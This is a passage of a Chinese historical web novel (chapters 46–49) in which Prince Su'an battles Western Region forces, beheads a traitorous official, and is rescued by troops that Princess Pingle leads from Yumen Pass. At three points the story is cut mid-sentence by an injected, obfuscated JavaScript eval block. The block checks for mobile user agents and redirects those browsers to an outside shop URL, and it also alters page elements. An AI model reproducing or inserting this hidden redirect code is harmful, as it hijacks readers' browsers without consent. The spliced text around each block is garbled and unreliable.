远处,牧人遥遥唱着,“云散金乌初吐……烟迷沙渚沉沉……”[1] 46. 昔情难再续 十一月,天气越发寒凉。 雪下了几轮,黄的沙,红的血,白的骨通通不见,取而代之的是一望无际的浩渺光洋。 肃安王立在帐外,里头穿着素袍,外头裹着大氅,吩咐给将士们下发冬衣、棉被、炭火。 悠悠打着红伞,迈着碎步,小跑而来,“王爷,外头冷,和我回屋暖和暖和。” 肃安王冲她笑笑,伸手紧了紧她身上的青缎毛领斗篷,裹着她一起回了营帐。 肃安王抬手掀开帘子,向她怒了努嘴。 悠悠报之一笑,探身而入。 平乐坐在炉边剥桔子,看见肃安王满头满身的雪,调侃道,“哎呀,好大一个雪人儿。” 悠悠掸落肃安王肩上厚厚的一层积雪,解下大氅,回身交给小丫鬟,又弹了弹自己领口的雪珠,解下斗篷搁在一边,也围了上去,搓着手道,“幸亏公主没出去,外头真是好冷。” 平乐笑睨着悠悠,打趣道,“你们在一处,我过去添什么乱。” 悠悠不理她,只招呼肃安王,“王爷,过来烤烤火,暖和些。” 平乐见他过来,便往外挪了挪,给他和悠悠留了块地方出来。 肃安王挨着悠悠坐了,叮嘱道,“悠悠,天越来越冷了,你也少出去,和平乐一起待在帐里就是了,我得闲了自然过来看你们。” 悠悠轻轻“嗯”了一声。 平乐剥了橘子,递给悠悠一瓣,又递给肃安王一瓣,笑道,“她心里惦记着你,哪里坐得住,如今我也大好了,这儿又不缺伺候的人,你赶紧带她回了你的营帐,才是正经。” 肃安王没说话,悠悠先红着脸啐了一口,“公主果真是大好了,成日拿我取笑。” 平乐正色道,“不是取笑,当日咱们还在宫里头的时候,晗安哥哥就冲我讨过你,父皇那边也应准了,可惜,因为你母亲的事耽搁住了,后来你又跟着我到了西域。” 平乐叹了口气,拉住悠悠的手,“这么多年,我一直觉得对不起你,如今既从那里出来了,这事儿,也该办了。” 平乐又拉了肃安王的手,将两个人的手叠在一块,笑问,“晗安哥哥,你说呢。” 悠悠低头不语,偷眼看肃安王,肃安王只是静默坐着,半晌,他抽回了手,道,“婚姻大事,不可轻率,父皇虽应准过,可那也是多少年前的事儿了。” 平乐有些急了,“你此次出使西域,不仅救了我,还拿住了席容炎的把柄,父皇一定会重重赏你,你若向父皇请求此事,难道父皇会不依你?” 肃安王将橘瓣送进口中,慢慢咀嚼,“平乐,此事回京再议,你不要再提了。” 说罢,他抬身起来,从小丫鬟手中取过大氅,披在身上,掀帘踏入茫茫白雪。 悠悠面上难堪,也抽回手,抱膝坐着,眼中闪着盈盈泪光。 平乐勉强笑了笑,安慰道,“行军在外,他顾不上这些,回京大办一场,才不算委屈你。” 悠悠抑住哭腔,摇头道,“公主,我知道你是为了我好,可是时过境迁,如今,我再也配不上他了。” “呸呸呸,胡说什么。” 悠悠再也忍不住,一下子哭了出来,“我没胡说,公主你不知道,你回来之前,我一直在他的营帐里伺候,他对我很好,和从前一样温柔体贴,可是,他从来都不肯碰我,他分明就是……” 平乐心里难受,她抚着悠悠的背,柔声劝着,“别多想了,他如果心里没有你,为什么至今都没娶亲,为什么屋里连个知冷知热的人都没有。” 悠悠一怔,止住了哭,“真的吗?” “陆奔的话,还能有假?如今,就连小他好几岁的太子殿下都有了准太子妃,可他呢,还是自己一个人。父皇提过好几次,他都给婉拒了,你说,他是不是放不下你?” “可是——” 平乐取出帕子给她拭泪,“没什么可是的,这事儿包在我身上,你就放心吧。” 悠悠忽然想起了一事,拉住她的手,“公主这几日不要再提此事了,王爷只怕没心情听。” “出什么事了?” “我刚听外头人议论,有一波人马冲咱们追过来了,看样子像是西域人。” 平乐的手抖了一下,“多少人?” 悠悠摇头,“风大,我没听清。” 平乐促然站起身,裹了斗篷就往外跑,悠悠举着伞追了上去,二人一路跑到肃安王帐前。 门口的侍卫见是她们,掀起帘子迎了进去。 平乐扫视一圈,见帐内并无肃安王的身影,便问,“晗安哥哥呢?” 侍卫躬身回话,“王爷和几位将军都骑马出去了。” 平乐心急如焚,转身便要追出去。 侍卫忙拦住她,“外头正下着雪呢,公主又不会骑马,往哪里寻去,万一冻坏了,王爷岂不着急,公主若有事找王爷,不妨在这儿等上一等。” 平乐微微点头,自悔冒失,在桌边找了个凳子坐下。 桌上的饭菜还没有撤,她随意一瞥,眉头不觉蹙了起来,“哥哥平日就吃这个?” 侍卫面有赧色,“我们所带粮草不多,在西域逗留的时日又太长,王爷说要省检些用。” 悠悠盯着盘里的饭菜,只觉心疼,“可他是王爷,是统帅呀,他怎能就吃这些东西?” 侍卫道,“王爷说过,他要和将士们同衣同食,我们劝了很多次,但王爷执意如此。” 悠悠还要再说,平乐出声制止了她,转头问侍卫,“罢了,我且问你,如今情形怎样?” “不知公主所指,是什么事?” “西域人打过来了,你不会不知道吧?” 侍卫跪下,“不是诚心要瞒公主殿下的,只是王爷一早吩咐过,不让咱们告诉公主。” 平乐抬手叫他起来,“哥哥的意思我明白,只是现下我已经知道了,你也不必再瞒了,实话实说吧。” 侍卫微一踌躇,“昨晚探子来报,西域翖侯巴吐尔带了两万人马,正向我们这边奔来。” “那我们有多少人。” “不足九千。” 平乐阖眼长叹一声,“哥哥为什么只带了这点人马?这仗,如何打得?” “公主有所不知,皇上派王爷出使西域,原本只是来看看公主,没预备打仗的事。加上宰相大人一力阻拦,王爷也怕调出太多兵力,京城守卫空虚,反生不测,因此只带了自己的亲兵,还有一小部分京城的精兵。王爷惦记着公主的安危,轻骑简从,便赶来了。” 悠悠跺着脚恨道,“又是席容炎那个老贼!” 平乐突然笑了起来,“怪不得席容炎肯让哥哥过来看我,原来他早就想好了后招。如果哥哥打了胜仗,带我回去,他一定会上奏父皇说哥哥擅作主张,借此夺了哥哥的兵权。若是哥哥败了,不仅重创了哥哥,还借此打压了西域,西域以后对他只会更加服帖。” 悠悠拧着眉,“可是王爷还朝,席容炎做的那些事就瞒不住了呀,他不会冒这个风险的。” “是啊,所以他这不就派人来了吗。” 悠悠不解,“公主是指,这些追兵是席容炎派过来的?” “哼,不管怎么说,我也和西域可汗做了几年夫妻,就他那脑子,怎么可能看穿哥哥的计谋,一定是席容炎派了人来帮他。” 平乐看向侍卫,“如果我没猜错,领头的除了巴吐尔,是不是还有别人?” 侍卫点头,“的确还有一人,探子说他身量颀长,远远看着甚是清瘦,不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502754|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是西域人。” 悠悠呢喃着,“清瘦?席容炎手下还有这号人物?” 平乐怵然变容,“此人,怕就是席容炎府中的暗卫统领——寒星。” 侍卫和悠悠齐刷刷的看向她,“寒星是谁?” 平乐深吸一口气,“席容炎用西域毒药黄昏雨在府里养了一帮暗卫,这些暗卫武功高强,行踪诡秘,专干一些见不得人的勾当。寒星就是其中身手最好的一个,多次立下大功,深得席容炎喜爱。我只是奇怪,席容炎这次为什么会单独派他过来。” 悠悠道,“他武功好,自然就派他来了,这有什么奇怪的。” 平乐摇头,“席容炎疑心最重,对手底下的暗卫也一向严加防范,西域有能解黄昏雨的药丸,寒星武功又如此高强,他断不会只派他一人前来,除非——” “除非什么?” “除非席容炎手里有比黄昏雨解药更值钱的东西,这东西能要挟寒星,叫他不敢乱来。” 帐外传来了错杂沉重的脚步声,肃安王、孟甘、陆奔、还有陆奔的副将黄力、齐牧的副将楚天琦依次掀帘进来,个个一脸严肃,待看到平乐时,神情说不出的古怪。 陆奔命取地图来,侍卫忙撤了碗盘,将新绘的地图铺在桌上。 平乐和悠悠早已站起身来,围在两侧听他们说话。 肃安王指着玉门关道,“玉门关由李怜灼将军驻守,天琦,我记得他的妻子是你的堂姐。” 楚天琦道,“是。” 平乐打量了他一眼,此人生得十分好看,面如凝脂,眸若点漆,有点不像行军打仗之人。 肃安王叩着桌面,“天琦,你立刻带一百人赶往玉门关,请李将军带兵支援我们。” 陆奔将一块令牌交给楚天琦,叮嘱道,“快去快回。” 楚天琦接了令牌,奔向帐外。 肃安王用手挑着马鞭,在环骨山一带绕了个圈子,“此处有枭关,峣关两处扼要之地,最是易守难攻,孟大夫、黄将军,你们随我率军前往此处,与西域贼人决一死战!” 陆奔急了,“主子,那我呢?我做什么?” 肃安王拍拍他的背,“我有更要紧的差事交给你。” 陆奔一喜,“但凭主子吩咐!” 肃安王指指平乐,又指指悠悠,“我要你将平乐,还有悠悠安安全全的护送回大魏。” 陆奔面露惊愕之色,“主子!我要跟着你!” 肃安王把脸一沉,“陆奔,你若还当我是你主子,就依命行事,再勿多言。” 平乐轻咳一声,道,“晗安哥哥,我不走,我要同你一起去打仗。” “平乐,别耍小孩子脾气,你留在我身边,我还要惦记着你,你走了,我才能安心打仗。哥哥同那些胡人不知打了多少次交道,他们有多少本事,哥哥知道的一清二楚,你不必担心。” 平乐用袖子拭了拭眼角,“哥哥,你还要瞒我吗,巴吐尔带了两万人马直奔我们而来,人数足足是我们的两倍,西域人一向惯于征战,对此处的地势地形又比我们熟悉,我们根本就没有胜算可言!” 肃安王锐利的目光扫向陆奔,陆奔忙跪下道,“主子,我什么都没说。” 悠悠解释道,“不是陆奔,是我听到有人议论此事,这才告诉公主的。” 肃安王倏地把马鞭往桌上一掷,厉声道,“我是不是吩咐过,此事不得外传,以免动摇军心,是谁把我的话当放屁?!” 一时帐内之人都跪了下来,连声说不敢,只有孟甘站在一旁,温声劝着,“王爷,事已至此,你再追查这些也无用,还是赶快想想应敌之策吧。” 肃安王看着孟甘,突然笑了笑,他挥手命众人起来,“陆奔,传令三军将士,我要训话!” 47. 玉龙震三军 寒雪纷飞,烈风呼号,八千余名将士立于苍莽天地之中,一片肃杀之色。 肃安王腰佩玉龙剑,昂首立于高台之上,他环视了一圈将士们的神色,慨然道,“大魏八年,我带兵征战北疆,大胜,回时大雪封山,我们迷了路,误入狼峰岭,群狼环伺,我们硬是以血肉之躯击退狼群!大魏十二年,南蛮作乱,他们乔装打扮,匿身游民,我没防备,落入圈套,最终,我带领三百人马冲出重围,力创对方两千余人。大魏十八年,太子遇险,就是在这儿,我们的人遇到西域人伏击,那一战,何其惨烈!可事后,父皇不追不问,由得那些胡人肆意妄为!我问你们,你们身为大魏将士,甘不甘心?!” 朔北的风裹着八千余名将士的刀光剑影,呼啸而鸣,“不甘心!” 平乐仰头看向高台之上,他身披甲胄,腰携玉龙,矗然而立,宛如天神。 肃安王忽一俯身,探臂揪住孟甘的圆领,猛地将他提了上来。 孟甘一个踉跄,跌坐台上,众人皆是不解地看向肃安王。 孟甘受惊,大口喘息着,他一口气还没换完,眼见一把寒光凛凛的宝剑已经架到颈间,不禁大喊,“我乃御前之人,受皇上命出使西域,王爷怎敢伤我?” 肃安王冷笑,“伤你?你想的太便宜了。” 陆奔一跃而上,跪在孟甘身侧,“主子,不可。” 肃安王并不看他,只拿眼扫视着三军,“本王在朝十余载,从未听说过孟大夫这个人。遣人去查,才知道孟大夫连举人都未曾中过,就任了正五品的文职,诸位可知这是什么缘故。” 孟甘脸上渐有羞惭之色,语气却硬气了几分,“肃安王,你既知道我是谁的人,就趁早把剑放下,别闹的大家难看!” 肃安王仰天大笑,“哈哈哈,本王征北疆,剿南蛮,肃西域,伐东寇,难道到头来还会惧怕杨顺他一个阉人吗?” 孟甘梗着脖子,头上淅淅沥沥地淌下汗来,他挣扎起身,“肃安王,杀人也得有个缘故,我一路随你至此,没有触犯任何军法,你无故杀人,众将士怎能服你?” 肃安王拿剑往下一打,孟甘又重重地摔回台上,身子不住地发抖,肃安王拿剑指着他,“你要死个明白,我成全你。孟甘,你是杨顺的表亲,受了席容炎的提拔才有机会入朝为官,我本不欲伤你,可你屡屡在席间生事,意欲挑唆我与西域可汗当场开战,这事儿,我不与你计较。我去营救平乐的时候,你率大军留在外头策应,若不是黄力看得紧,只怕你早已派人通风报信去了,这事儿,我也不与你计较。巴吐尔率军而来,殊死一战,势不可免,你口口声声要送平乐回去,还说若是如此,西域人便能罢手,你说的话,何其可笑?!不过这事儿,我还是可以不与你计较。但你千不该万不该动摇军心,这是本王军中大忌!” 孟甘张口还要分辨,只见一道寒光凌空劈了下来,他连一声哀嚎还没来及的喊出,就已身首异处。 众人无不愕然,目不转睛地盯着那颗还在滴血的头颅,连呼吸都忘记了。 肃安王用剑挑起他的头颅,猩红的血珠滚在雪里,一片泥泞,他的声音掺着寒气,分外冷冽,“今日我杀他,用的不是军法,而是国法!我知道,你们中间还有他的人,我现在就可以杀了你们。但我不信,你们身为大魏子民,会同他一样甘当卖国贼!我给你们一个机会,随我上阵杀敌,我既往不咎!否则,就跟他一起去下地狱!” 肃安王一挥手,那颗头颅就像垃圾一样被丢了出去,血珠在空中溅起一道艳射的红线,只听“砰”的一声,那头落在雪地里,又咕噜咕噜打了几个滚儿才停住。 陆奔重重磕了一个头,率先喊道,“王爷仁义无双,我等誓死追随!” 底下的将士们这才反应过来,纷纷跪下,齐声高呼,“我等誓死追随!” 肃安王以剑撑地,一纵身跨到马上,他鞭指西北,大喝一声,“杀!给我痛痛快快地杀!” 八千余名将士翻身上马,响声激昂,彻遍云霄,“杀!” 侍卫牵了马车过来,陆奔扶着平乐上马,又去拉早已看傻了的悠悠,悠悠被他一拉,才回过神来,扯着身子冲着远方大喊,“不——王爷——” 这喊声太过凄厉,陆奔面露不忍,拉她的手不觉一滞,也回首望了过去。 远方旌旗蔽空,战马嘶鸣,马背上的儿郎好似黑色土砾,一点一点在白茫茫的风中沉浮,哪里还能寻见肃安王的身影。 平乐脸颊滚下泪来,她同陆奔一起将悠悠硬拉上马车,塞进轿里。 侍卫扬起鞭子,赶着马车快跑,陆奔跳上马背,领着四个士兵随在轿侧。 事已至此,平乐的心反倒安稳了下来,她相信她的晗安哥哥,相信他一定能力挽狂澜,大胜而归,她掀开轿帘,对陆奔说,“陆奔,你去陪王爷吧,你在他身边,我多少能放心些。” 陆奔握着缰绳的手一紧,片刻功夫又缓缓松开,“公主,主子命我护送你,这是军令,军令不可违。” 平乐知道他心意已决,也就没再勉强,她瞧着前头那一片连绵起伏的雪山,蹙起眉来,“我们要往哪里去?” “主子本意是想让你随楚天琦一同奔向玉门关,那有李怜灼,到那儿就安全了。只是,主子担心孟甘会走漏消息,所以最后没这么干。” “哥哥知道孟甘是席容炎的人,为什么还要带他过来?” “主子原不知道的,是席间西域可汗掷了刀子,要杀孟甘,主子说,依西域可汗的力道,若真想要孟甘的性命,主子伸手去救,只能堪堪握住刀柄,可他当时的两指却捏住了刀尖,主子这才起了疑心,派我暗中调查,于是就查出了一连串的事情。” 平乐长吁一口气,“好险,席容炎此人心机颇深,只怕军中还有他的人马。” “纵有,主子刚刚那么一番操作下来,也没这个胆子了。” 平乐看了眼跟着的四个士兵,抿唇不语。 陆奔会意,“公主放心,这几个都是王府里的亲兵,靠得住的。” 平乐点了点头,又道,“所以,我们现在要去那儿?” 陆奔咧嘴一笑,露出一排小白牙,“玉门关。” 悠悠“啊”了一声,带着还没散尽的哭腔,凑上前来,“不是怕走露消息吗,怎么还去?” “悠悠姐,主子说这叫混淆视听。主子已经单独派遣了楚天琦去玉门关,孟甘便会以为我们要从别的路走,主子一直不杀他,也是这个原因,他已经暴露了,他能传递出去的消息都是假的,如今没有什么利用价值了,也算死得其所。” 平乐笑了笑,“我以前只知道晗安哥哥骁勇善战,没想到他还熟读兵书。” 陆奔也笑,“主子常跟我说,两军对垒,拼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502755|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是身上的力气,要靠脑子,要靠人心,那些只知道凭武力取胜的没什么大出息。” 悠悠道,“王爷说得有道理。” 平乐脑子里浮现出了那个白净小生的面容,“对了,那个楚将军是什么来头?” “楚天琦嘛,他是齐将军前两年新招的部下,来龙去脉一概不知,只听说好像是耕读人家出身,不过齐将军为人忠厚,他挑中的人想来不会出错。怎么,难道他也是席容炎的人吗?” 平乐摇头,踌躇了一下才说,“我不知道他是谁的人,只是觉得他模样秀气,举止文雅,不像是习武之人。” 陆奔愣了片刻,哈哈大笑,“公主别看他长得文弱,要是真打起仗来,十几个魁梧壮汉都比他不过,不然齐将军也不会提拔他做副将,军营那么多双眼睛看着呢。” 平乐听到了“齐将军”,便不再说话,只瞧着陆奔腕上缠的白布出神。 陆奔催促驾车的侍卫,“再快些,我们今晚就能和楚将军他们碰头了!” 环骨山绵亘千里,分作南北两脉,北脉名曰枭关,南脉名曰峣关,两侧山仞屹立,云霄磔鸣,其间凹凸起伏,犬牙交错,石作横纹,堆垒白雪。 环骨山势貌狭长,进口大,出口小,状如环骨,因此得名,百余年来,山中积骨累累,甚是阴森。 肃安王命黄力率军守在山上,自己领了两千余人与巴吐尔的大军混战一番,佯作败势,引着巴吐尔的人马一路追至此处。 一入山口,巴吐尔便觉不好,他想撤出去,可是已经晚了,黄力带人劈头就杀了下来,和肃安王形成里外夹击之势,硬生生将巴吐尔他们逼退三舍。 环骨山两侧地势高耸,无法硬攻,唯有中间孔道,尚可一战,却也不过尺寸之地,四骑同行,已属勉强,巴吐尔的两万大军若是纵横大漠,必是势不可挡,可落在了此等夹缝之地,纵有天大的本事也使不出来。 战况焦灼,肃安王借助地利之便,死守孔道,他一步不退,巴吐尔便一步也进不了前,他怎能不急呢,孟甘传来的最后一个消息就是楚天琦往玉门关找援兵去了,再这么耗下去,等肃安王援兵一到,他们的胜算就少了一大半。 巴吐尔骑在马上,不住叹气,“已经五日了……” 寒星也急,但他沉得住气,“再过三日,他们必败。” 巴吐尔转头看他,“你确定?” “从剑到箭,他们从进攻改成了远攻,你有没有想过这是为什么?” 巴吐尔垂头想了片刻,摇了摇头。 “环骨山山势岿巍,此时还有积雪,弓箭手在山上难以落脚,一不小心便有滑下摔死的风险。因此肃安王一直借助山下的凹凸起伏,进行游击、伏击,直到昨日才改成了用箭。” 寒星说到这里便不说了,转头看向巴吐尔,见他仍是一脸费解的模样,才道,“我记得你与我说过,肃安王为了见平乐公主一面,已在西域逗留了十余日,再算上这几天的时间,我估摸着,他们带的粮草应该已经所剩无几了。” 巴吐尔这才恍然大悟,一拍脑门,“我说他们射出来的箭怎么都软绵绵的没力气,原来是没吃饱饭啊哈哈哈。”他笑够了,又问寒星,“那我们现在该怎么办?” 寒星打马在雪地上绕着圈,半晌,轻轻吐出一字,“等。” 巴吐尔疑惑地看着他,欲言又止。 48. 巾帼出关隘 平乐和楚天琦顺利地碰了面,途中为了节省时间,楚天琦带平乐同乘一骑,陆奔的马则载上了悠悠,一行人弃轿狂奔,日夜兼程,终于赶到了玉门关。 悠悠扶着平乐下马,当平乐的双脚踏上大魏国土的那一刹那,她只觉感慨万千。 当年,她远嫁西域,李怜灼就是在此处送了她最后一程。 七年了,她终于回来了。 李怜灼一见平乐,便跪下行礼,口中直呼,“公主千岁千岁千千岁!” 李怜灼身长八尺,鬓发霜白,额角处有一块狰狞的刀疤,平乐认识那块刀疤,当年她随父皇外出行猎,在林中遇到刺客偷袭,是李怜灼挺身而出,替父皇挡下了致命一刀。 平乐这么想着,赶紧伸手扶他,“李将军快快请起。” 李怜灼命人带陆奔和楚天琦先去自己屋里用茶,自己则亲自将她迎入另一个屋中,唤了两个侍女打水服侍她沐浴更衣,“边地苦寒,东西也不齐备,公主不要怪罪。” 平乐拦住她们,“这些都是小事,将军快去营救晗安哥哥才是。” 李怜灼面有难色,只道,“公主放心,此事我会与陆将军、楚将军商议。” 他说着,行了礼,便疾步出了屋子。 两个侍女上来要给平乐更衣,平乐道,“这有悠悠伺候,你们都下去吧。” 两个侍女相视一眼,行礼退下。 平乐待她们都走了,便带着悠悠来到李怜灼的屋外,隔窗细听。 里头鸦雀无声,平乐正在费解,便听里面一片东西倒地的声音。 陆奔一脚踹翻了桌椅,忿然道,“怎会这样!” 楚天琦脸色也不好看,他看向站在一旁的李怜灼,“将军,王爷处境甚险,你不能不救。” 李怜灼额角的青筋不住跳动,衬得那道疤痕更是狰狞,他手里紧紧攥着调令,这调令是昨晚刚送过来的,内容是调他回京,升关内侯。 李怜灼对这道调令的内容并不觉得奇怪,他苦守玉门关数十载,被这大漠的风沙吹出了一身的病痛,去岁他就曾向魏帝请求告老还乡,魏帝也悯然应允,只是他没想到,这道调令竟会在此时下达玉门关。 陆奔从他手中抢过调令,凝眸细看,看罢,猝然往地上一摔,“去他娘的,这道调令的落款时间是三个月前,京城离玉门关就算再远,也不至于送了三个月才送过来!” 李怜灼并不生气,他俯身从地上捡起调令,复又紧紧攥住。 楚天琦叹道,“陆将军,你纵有气,也不该冲李将军发火,他也没有办法。” 陆奔长吁一声,对着李怜灼拜了又拜,“李将军,我气急了,我不是冲你。” 李怜灼只是摆手,“让我想想——” 这道调令来得太过蹊跷,分明就是别人设好的一步棋,掐着时间送到了这里。 楚天琦皱着眉,“皇上让霍翰羽接替你的位置,他是霍淳之子,同席容炎绝非一路之人,断不会为其所驱使,可调令已经下达三个月了,他为何迟迟不来赴任?若他在,也就无碍了。” 李怜灼想了须臾,冷笑道,“朝中都是席容炎的人,他既有法子能让我迟迟收不到调令,也就有法子让霍翰羽迟迟不能来此赴任。如此一来,玉门关空有兵,却无将,谁敢动谁就是拥兵自重,意图谋反!” 陆奔揪着自己的头发,狠命跺脚,“天杀的老贼!”他忽地朝李怜灼“砰嗵”一声跪了下去,“李将军,我求你去救我家主子,霍将军此刻人还不知道在哪里,等他根本就来不及。从我们离开到现在,主子已经率军同胡人鏖战了七日,他们的粮草最多再撑三天,若要上书请示皇上,一来一回,主子他们必死无疑呀!李将军,我求你去救救他,现在只有你能救他!” 李怜灼伸手去扶他,可嘴里却并不应声,只道,“陆将军,你先起来。” 楚天琦在旁边看着,心如明镜,如今这个境况,李怜灼怕是有心无力,他已到垂暮之年,最盼望的就是功成身退,回家安享晚年,这件事,他若是身涉其中,便有可能连累一家老小。 十二年前,镇西大将军陈玄赫被诬谋反,结果落了个满门抄斩的下场,这,就是最好的榜样! 楚天琦的眼中泛起泪花,他一仰头,将那点酸涩生生逼了回去,他和李怜灼一边一个,架了陆奔起来,“陆将军,王爷是一定要救的,只是我们得想想办法。” 陆奔瘫在椅子上,声嘶力竭,“还有什么办法?玉门关虽是大魏边疆,到底地处偏远,写信联络各地守军均需时间,时间,时间现在就是一切!主子他们缺兵少粮,一天都不能等!” “我有办法。” 门外,一个温婉清丽的声音响起,几人俱是一怔,齐齐看了过去,只见平乐搭着悠悠的手,缓步走了进来。 李怜灼顾不上行礼,忙问,“公主殿下有何良策?” 平乐淡淡一笑,“我乃大魏长公主,后又受封固伦公主,位比朝中一品大员,诸位将军见我皆需行礼问安,是也不是?” 李怜灼不明所以,“那又如何?” 平乐找了个椅子坐下,正色道,“肃安王危在旦夕,事关社稷,本公主不能坐视不管,李将军,我命你速速调出玉门关三万人马,随同本公主一起去营救肃安王。” 楚天琦望着平乐,凝睇不语,心说公主带兵打仗这种事,自大魏建朝以来还从未有过,只是眼下迫于形势,平乐公主的法子或可一试。 李怜灼尚未答言,椅上的陆奔陡然站了起来,“公主不可,主子再三叮嘱要我护送公主回大魏,我怎能让公主以身涉险。” 平乐面不改色,声音沉稳,“怎么,陆将军要抗旨吗?” 陆奔一愣,她既然拿出了长公主的派头,他们就不能不遵。 李怜灼不敢出兵,可是平乐公主可以,她是皇上的亲生女儿,又是肃安王的妹妹,她领兵出征,于公于私,于情于理都说的过去,席容炎再无耻,皇上再昏庸,也不至于说她要造反吧,可是主子的吩咐—— 他心里一团乱麻,还在掂量着轻重利弊,就见李怜灼已经跪了下去,叩首道,“臣领旨。” 楚天琦也跟着跪了下去,“公主殿下心怀大义,臣万死,也要护得公主殿下周全。” 陆奔忧思郁陶,冲平乐重重磕了一个头,却一句话也没有说。 环骨山。 山中血气弥漫,巴吐尔凝视着两脉之间的那条赤色孔道,“他们此刻粮尽援绝,已如笼中困兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502756|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,寒星,你到底还在等什么?” 云奔风啸,远处的流光雪影忽而浮动起来,寒星抿了抿开裂的嘴唇,勾出一个刚刚好的弧度,“我不去就山,山自来找我,你瞧,那山这不就来了。” 巴吐尔凝眸看了半晌,不可置信地转过头来,“你疯了?!” 寒星策马而去,回头冲他大笑,“巴吐尔,我还有事,先走一步,这儿就交给你了——” 孔道内,北风曶霍,旗帜掣曳,尸骸横如乱雪,烽烟皆作人骨。 肃安王左臂中了一箭,殷殷的红漫过素白长袍,渗透早已磨穿了的银色甲胄,汩汩而流,同遍地的斑驳血迹融为一体,他扯下袍子上的一块破布条,草草包扎了一下。 黄力领着残存的两百余名将士死死围在他的身侧,黄力的背部腿部皆有刀伤,但他依旧站得笔直,他屏气凝神,仔细观察着巴吐尔那边的动向,一刻也不敢松懈。 肃安王坐而假寐,他心中清楚,他们这几日靠啃树皮充饥,已然精疲力竭,全靠一口气撑在这里,如果此时胡人打过来,他们必无招架之力,可看巴吐尔的模样,好像和自己一样,也在等待着什么,自己是在等李怜灼,那他呢,他又是在等什么? 他遽然睁眼,黄力正指着远处的旌旃,兴奋地冲他大喊,“王爷你看,李将军他们到了!” 两百余名将士齐齐站起身来,他们的脸上溢出死而复生的喜悦。 他们,想活。 星尘渐隐,四更将尽,今夜又是一场鏖战。 李怜灼率兵追击,势如破竹,巴吐尔带来的人马在此之前,已与肃安王他们纠缠多日,久攻不下,士气难免有些低落,当下被他这么猝然一打,更是措手不及,几乎毫无招架之力。 托乎提一面拔刀格挡,一面冲巴吐尔喊道,“将军,他们的人实在是太多了,咱们撤吧!” 巴吐尔偏头啐了一口血沫,骂道,“呸,身为西域将士,要么风风光光的赢,要么轰轰烈烈的死,当逃兵?我他妈才不干!” 背面狂风骤起,尘喧盈天,鼓噪而至,托乎提大喜若狂,“将军,这些人穿的是胡服,他们一定是大汗派过来的援兵!” 巴吐尔凝眸细看朝自己奔来的大队人马,只这片刻功夫,他的头顶突然袭来一道银光,他连忙向左一闪,右手刀起头落,将人斩于马下。 他顾不得多想,挥起带血的刀锋,大声道,“兄弟们,大汗派人过来支援我们了,都给我撑住喽!” 士兵们看见援兵来了,一时气势大振,纷纷提刀和李怜灼的人拼起命来。 巴吐尔一面挥刀乱砍着围上来的士兵,一面眯眼打量着距离他们越来越近的人马。 此刻,天还没有大亮,他看不清楚他们到底有多少人,他需要知道领头的那人是穆则帕尔还是伊根。若是穆则帕尔,那来的就是西域的主力部队,大汗的意思就是让李怜灼的人有来无回。若是伊根或者其他将军,那带的人马一定不会太多,巴吐尔他们就得速战速决,尽快随之撤离。 重重叠叠的人影越来越近,一片扬蹄嘶鸣声随之传来,领头的踏雪玉狮一骑绝尘,倏然而至,巴吐尔飞奔过去,下马才要叩拜,目光却忽地顿住,他错愕地抬头看向那人,“是你?” 49. 血洗环骨山 李怜灼看见巴吐尔那边突然多出来一队人马,当下也不敢大意,立即下令全军暂退,按兵不动。 他回到营帐时,看见肃安王正在处理伤口。 肃安王左臂上中的那一箭有毒,由于伤口没有得到及时治疗,现下周围的皮肤已经溃烂。 肃安王齿咬刀鞘,手持匕首,将骨上的腐肉尽数剃去。 一刀又一刀,汗与血相错相融,染湿了他的袍裾. 可他面无表情,毫无痛色,仿佛剔下的肉不是自己的一般。 李怜灼是沙场老将,见惯了生死,饶是他,也不由得被肃安王的这份坚韧所震撼。 他静静立在一旁,不发一言。 肃安王处理完了,便敷上药,抬头看向李怜灼,诚恳道,“此次多亏李将军出兵相助,不然,本王只怕就要命丧于此了。” 李怜灼连忙摆手,“不敢不敢,这本就是我们做臣子的本分,更何况——” 李怜灼踌躇了一下,还是决定先将平乐公主的事情瞒下,转移了话题,“王爷,巴吐尔那边来了援军,我想既然皇上还没有明令征讨西域,我们不妨先撤兵回玉门关,将此事禀告皇上,等皇上的旨意下来了,再做打算。” 肃安王颔首,“就听将军的,对了,我怎么没看见楚天琦,他没和将军在一块儿吗。” 李怜灼见问,索性实话实话,“楚将军一直守在平乐公主帐外,寸步不离,保护公主,还有陆将军也是。” 肃安王皱起眉头,“平乐怎么也跟过来了?这个陆奔!” 李怜灼将前因后果都说了出来,末了,他汗颜道,“平乐公主深明大义,不顾一己安危也要来救王爷,微臣自愧不如。” 